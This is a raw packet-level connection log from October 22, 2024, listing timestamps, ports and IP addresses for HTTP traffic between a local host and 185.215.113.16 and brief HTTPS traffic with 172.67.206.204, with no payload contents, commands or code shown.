Oct 22, 2024 19:25:18.069410086 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069410086 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069420099 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069431067 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069437027 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069453955 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069458961 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069458961 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069469929 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069479942 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069485903 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069502115 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069508076 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069508076 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069518089 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069528103 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069535017 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069547892 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069567919 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069587946 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069674969 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069689989 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069705963 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069721937 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069724083 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069737911 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069746971 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069746971 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069752932 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069768906 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069770098 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069787025 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069794893 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069794893 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069814920 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069814920 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069829941 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069834948 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069845915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069858074 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069863081 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069879055 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069885969 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069885969 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069895029 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069911957 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069911957 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069911957 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069927931 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069931030 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069947004 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069948912 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069962978 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069967031 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069979906 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.069983959 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.069997072 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070003033 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070014000 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070020914 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070063114 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070063114 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070200920 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070218086 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070229053 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070244074 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070261955 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070266008 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070286036 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070288897 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070303917 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070313931 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070328951 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070342064 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070347071 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070363045 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070379019 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070388079 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070388079 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070395947 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070415020 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070420980 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070437908 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070440054 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070461035 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070481062 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070530891 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070548058 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070563078 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070579052 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070581913 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070594072 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070611000 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070610046 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070610046 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070633888 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070641041 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070641041 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070660114 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070671082 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070671082 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070677042 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070693016 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070696115 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070708990 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070712090 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070724964 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070729971 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070740938 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070756912 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070759058 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070759058 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070774078 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070780039 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070810080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070820093 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070842981 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070858002 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070871115 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070873976 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070889950 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070890903 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070905924 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070910931 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070919991 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070934057 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070935965 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070936918 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070950985 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070960045 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070975065 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.070986986 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.070991039 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071007013 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071022987 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071023941 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071031094 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071046114 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071049929 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071049929 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071058035 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071074009 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071077108 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071077108 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071089983 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071096897 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071105957 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071115971 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071121931 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071137905 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071136951 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071157932 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071162939 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071177006 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071178913 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071192980 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071197033 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071208954 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071218967 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071218967 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071227074 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071243048 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071258068 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071274996 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071280003 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071280003 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071280003 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071280003 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071290970 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071306944 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071336985 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071336985 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071341038 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071362019 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071377993 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071393967 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071408033 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071408033 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071409941 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071408987 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071408987 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071425915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071443081 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071448088 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071448088 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071458101 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071471930 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071475983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071475983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071487904 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071495056 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071505070 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071512938 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071532011 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071542025 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071542025 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071556091 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071571112 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071572065 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071587086 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071603060 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071618080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071618080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071618080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071620941 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071645975 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071646929 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071661949 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071661949 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071680069 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071682930 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071696043 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071702003 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071712017 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071721077 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071729898 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071748972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071748972 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071768999 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.071973085 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.071994066 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072010040 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072026968 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072031021 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072031021 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072052002 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072052002 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072067022 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072073936 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072082996 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072092056 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072098017 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072113991 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072118998 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072118998 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072129011 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072139025 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072145939 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072163105 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072166920 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072166920 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072179079 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072186947 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072202921 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072215080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072215080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072218895 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072233915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072240114 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072252035 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072267056 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072273970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072273970 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072282076 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072294950 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072295904 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072314978 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072320938 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072320938 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072331905 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072340965 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072346926 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072356939 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072360039 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072379112 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072390079 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072395086 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072410107 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072427988 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072427988 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072434902 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072447062 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072449923 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072464943 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072465897 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072484016 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072484016 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072499990 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072503090 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072515011 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072523117 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072530031 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072540998 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072546959 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072561026 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072565079 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072577000 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072577953 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072592974 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072601080 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072607994 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072616100 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072622061 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072624922 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072639942 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072655916 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072669983 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072671890 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072689056 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072690010 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072702885 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072709084 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072719097 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072736025 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.072740078 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072758913 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.072778940 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.098164082 CEST	443	49730	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:18.098371029 CEST	49730	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:18.099639893 CEST	49730	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:18.099670887 CEST	443	49730	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:18.100086927 CEST	443	49730	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:18.101321936 CEST	49730	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:18.101366043 CEST	49730	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:25:18.101439953 CEST	443	49730	172.67.206.204	192.168.2.8
Oct 22, 2024 19:25:18.119123936 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.119204998 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.119312048 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.119313002 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.184475899 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184506893 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184525013 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184540033 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184557915 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184575081 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184592962 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184619904 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184636116 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184659958 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184668064 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.184675932 CEST	80	49728	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:18.184669018 CEST	49728	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:18.184669018 CEST	49728	80	192.168.2.8	185.215.113.16
